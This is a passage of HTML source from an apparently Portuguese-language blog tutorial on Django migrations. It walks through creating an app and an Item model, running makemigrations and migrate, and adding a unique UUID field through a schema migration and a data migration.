não é necessário a realização de nenhum &quot;dump&quot; &lt;em&gt;SQL&lt;/em&gt;, apenas a execução dessas &lt;em&gt;migrations&lt;/em&gt;
é o suficiente para você ter o &lt;em&gt;db&lt;/em&gt; pronto para uso.&lt;/p&gt;
&lt;p&gt;Dentro do ecossistema &lt;em&gt;Django&lt;/em&gt;, as &lt;em&gt;built-in migrations&lt;/em&gt; vieram como uma excelente
contribuição ao projeto. A distribuição de &lt;em&gt;apps&lt;/em&gt; fica mais coerente, agora que o
desenvolvedor não precisa mais de uma &quot;segunda biblioteca&quot; para passar a usar
um app que estamos distribuindo.&lt;/p&gt;
&lt;h2&gt;Faça migrations&lt;/h2&gt;
&lt;p&gt;Para exemplificar como toda essa mágica funciona, vamos criar um &lt;em&gt;app&lt;/em&gt; chamado &quot;lista&lt;em&gt;de&lt;/em&gt;compras&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py startapp lista_de_compras&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nosso &lt;em&gt;application&lt;/em&gt; terá uma estrutura similar a essa:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;lista_de_compras/
    __init__.py
    admin.py
    apps.py
    migrations/
        __init__.py
    models.py
    tests.py
    views.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não esqueça de adicioná-lo ao &lt;code class=&quot;language-text&quot;&gt;INSTALLED_APPS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos nos focar na pasta &lt;code class=&quot;language-text&quot;&gt;migrations&lt;/code&gt; e no &lt;code class=&quot;language-text&quot;&gt;models.py&lt;/code&gt;. Nesse último, criaremos o modelo &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# models.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Item&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    quantidade &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IntegerField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;default&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora, na linha de comando, invocamos o comando de criação de &lt;em&gt;migrations&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py makemigrations&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se tudo ocorreu bem, na pasta &lt;code class=&quot;language-text&quot;&gt;migrations&lt;/code&gt; do &lt;em&gt;app&lt;/em&gt;, um novo arquivo
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; foi criado:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0001_initial.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; __future__ &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; unicode_literals
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; migrations&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; models


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Migration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Migration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    initial &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;

    dependencies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    operations &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CreateModel&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Item&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            fields&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AutoField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auto_created&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; primary_key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; serialize&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; verbose_name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ID&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;nome&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;quantidade&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IntegerField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;default&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por partes:&lt;/p&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;unicode_literals&lt;/code&gt; é uma ferramenta que torna possível a execução de seu projeto em &lt;em&gt;Python&lt;/em&gt; 2 e 3.
Ela tem a função de &quot;marcar&quot; suas &lt;em&gt;strings&lt;/em&gt; como &lt;em&gt;unicode&lt;/em&gt;, como explicado na &lt;a href=&quot;https://docs.djangoproject.com/en/1.10/topics/migrations/#supporting-python-2-and-3&quot; title=&quot;Suportando Python 2 e 3&quot;&gt;documentação do &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;É criada (automaticamente) uma classe &lt;code class=&quot;language-text&quot;&gt;Migration&lt;/code&gt; herdando de &lt;code class=&quot;language-text&quot;&gt;migrations.Migration&lt;/code&gt;. Nela, temos
3 propriedades muito importantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;initial&lt;/code&gt;: Informamos explicitamente ao &lt;em&gt;Django&lt;/em&gt; que essa é a &lt;em&gt;migration&lt;/em&gt; inicial do &lt;em&gt;app&lt;/em&gt;. Essa
informação é importante para alguns casos, como quando é &lt;a href=&quot;https://docs.djangoproject.com/en/1.10/topics/migrations/#django.db.migrations.Migration.initial&quot; title=&quot;Leia mais na documentação do Django&quot;&gt;preciso executar o --fake-initial&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;dependencies&lt;/code&gt;: Aqui informamos as dependências da nossa &lt;em&gt;migration&lt;/em&gt;. Por exemplo, se dependermos
de outra &lt;em&gt;migration&lt;/em&gt; ou &lt;em&gt;app&lt;/em&gt;, precisamos deixar claro que há uma dependência para manter uma ordem
coerente de execução.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;operations&lt;/code&gt;: Por fim, as operações que precisam ser executadas. No exemplo acima, estamos criando
a tabela &lt;code class=&quot;language-text&quot;&gt;lista_de_compras_item&lt;/code&gt;, com os campos &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;nome&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;quantidade&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;No more syncdb&lt;/h2&gt;
&lt;p&gt;Calma! A tabela ainda não existe no banco dados. Para que isso aconteça é necessário executar o comando
&lt;code class=&quot;language-text&quot;&gt;migrate&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py migrate&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;migrate&lt;/code&gt; executará todas as &lt;em&gt;migrations&lt;/em&gt; pendentes do seu projeto. Caso queira executar
apenas de um &lt;em&gt;app&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py migrate lista_de_compras&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Evoluindo o Schema&lt;/h2&gt;
&lt;p&gt;Vamos supor que exista o requisito de criar um &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;API REST&lt;/em&gt;&lt;/a&gt; para o projeto,
logo, expor o campo &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; não é uma boa prática! Precisamos de um campo único e não
sequencial, que trará um pouco de &lt;em&gt;obfuscation&lt;/em&gt; e segurança ao nosso &lt;em&gt;endpoint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Primeiro, adicionamos o campo ao modelo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# models.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Item&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    uuid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;UUIDField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;default&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;uuid&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid4&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; editable&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; unique&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    quantidade &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IntegerField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;default&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Seguindo o procedimento, para homologar as alterações em uma &lt;em&gt;migration&lt;/em&gt;, precisamos do &lt;code class=&quot;language-text&quot;&gt;makemigrations&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py makemigrations lista_de_compras&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você executar o &lt;code class=&quot;language-text&quot;&gt;migrate&lt;/code&gt; em um banco de dados vazio, provavelmente não terá nenhum problema. Mas
em um banco já existente, provavelmente uma &lt;em&gt;exception&lt;/em&gt; acontecerá. O fato é que o uso do campo &lt;code class=&quot;language-text&quot;&gt;unique&lt;/code&gt;
e o campo &lt;code class=&quot;language-text&quot;&gt;default&lt;/code&gt;, em uma &lt;em&gt;migration&lt;/em&gt;, não é tão &lt;a href=&quot;https://code.djangoproject.com/ticket/23932&quot; title=&quot;Document how to set a unique value for new fields using migrations&quot;&gt;intuitivo como parece&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/886cfa7973442256a4caa2fc8bba883f/c08c5/croods-migration.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQD/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAP/2gAMAwEAAhADEAAAAcsYlIWIx//EABcQAQEBAQAAAAAAAAAAAAAAAAEAERL/2gAIAQEAAQUCULobC1bW6b//xAAXEQEAAwAAAAAAAAAAAAAAAAAAARIT/9oACAEDAQE/Ac1Jf//EABURAQEAAAAAAAAAAAAAAAAAAAAS/9oACAECAQE/AaU//8QAGBAAAgMAAAAAAAAAAAAAAAAAAAEgITH/2gAIAQEABj8C0tR//8QAGhAAAgMBAQAAAAAAAAAAAAAAAAERITFRYf/aAAgBAQABPyHNxdoqyJvh6EyW3hlY+h//2gAMAwEAAgADAAAAEIQ//8QAFxEBAQEBAAAAAAAAAAAAAAAAAQAxYf/aAAgBAwEBPxAJt2v/xAAWEQEBAQAAAAAAAAAAAAAAAAAAEWH/2gAIAQIBAT8Qyl//xAAbEAEAAwEAAwAAAAAAAAAAAAABABExIUFhgf/aAAgBAQABPxC0yw4VERzVHNl2Ul6s8X6heb0PD5A0DAPE/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Migrar é preciso (indiewire.com)&amp;quot;&quot;
        title=&quot;Migrar é preciso (indiewire.com)&quot;
        src=&quot;/static/886cfa7973442256a4caa2fc8bba883f/c08c5/croods-migration.jpg&quot;
        srcset=&quot;/static/886cfa7973442256a4caa2fc8bba883f/7809d/croods-migration.jpg 192w,
/static/886cfa7973442256a4caa2fc8bba883f/4ecad/croods-migration.jpg 384w,
/static/886cfa7973442256a4caa2fc8bba883f/c08c5/croods-migration.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Migrar é preciso (indiewire.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para fazer esse procedimento, vamos seguir as recomendações da &lt;a href=&quot;https://docs.djangoproject.com/en/1.10/howto/writing-migrations/#migrations-that-add-unique-fields&quot; title=&quot;Migrations that add unique fields&quot;&gt;documentação do Django&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Primeiro, removemos os atributos &lt;code class=&quot;language-text&quot;&gt;unique=True&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;default=uuid.uuid4&lt;/code&gt; da &lt;em&gt;migration&lt;/em&gt; recém criada, e adicionamos
o parâmetro &lt;code class=&quot;language-text&quot;&gt;null=True&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0002_item_uuid.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Migration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Migration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    dependencies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;0001_initial&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    operations &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AddField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            model_name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;item&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;uuid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            field&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;UUIDField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;editable&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; null&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O próximo passo é popular as linhas já existentes com &lt;code class=&quot;language-text&quot;&gt;uuids&lt;/code&gt;. Faremos isso através de &lt;em&gt;data migrations&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Data migrations&lt;/h2&gt;
&lt;p&gt;Diretamente da documentação do &lt;em&gt;Django&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Migrations that alter data are usually called “data migrations”;
they’re best written as separate migrations, sitting alongside your schema migrations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em alguns casos precisamos inserir ou alterar dados, de acordo com a evolução do &lt;em&gt;database&lt;/em&gt;
do nosso projeto. O &lt;em&gt;Django&lt;/em&gt; não possui nenhuma forma &quot;automática&quot; para geração de
&lt;em&gt;data migrations&lt;/em&gt;, por isso, o caminho ideal é utilizar o comando &lt;code class=&quot;language-text&quot;&gt;--empty&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py makemigrations --empty lista_de_compras&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com isso, uma &lt;em&gt;migration&lt;/em&gt; &quot;em branco&quot; será criada, pronta para customização:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0003_auto_20161010_1635.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Migration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;migrations&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Migration&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    dependencies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;0002_item_uuid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    operations &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Importante notar que agora o atributo &lt;code class=&quot;language-text&quot;&gt;dependencies&lt;/code&gt; está preenchido com a &lt;em&gt;migration&lt;/em&gt;
anterior à recém criada. É sempre necessário ter atenção à sua lista de dependências,
para certificar-se que o fluxo acontecerá numa ordem coerente.&lt;/p&gt;
&lt;p&gt;Criaremos a função responsável por inserir &lt;em&gt;UUIDs&lt;/em&gt; nos registros já existentes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# migrations/0003_auto_20161010_1635.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; uuid

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;gen_uuid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;apps&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; schema_editor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    Item &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apps&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_model&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lista_de_compras&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Item&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    items &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
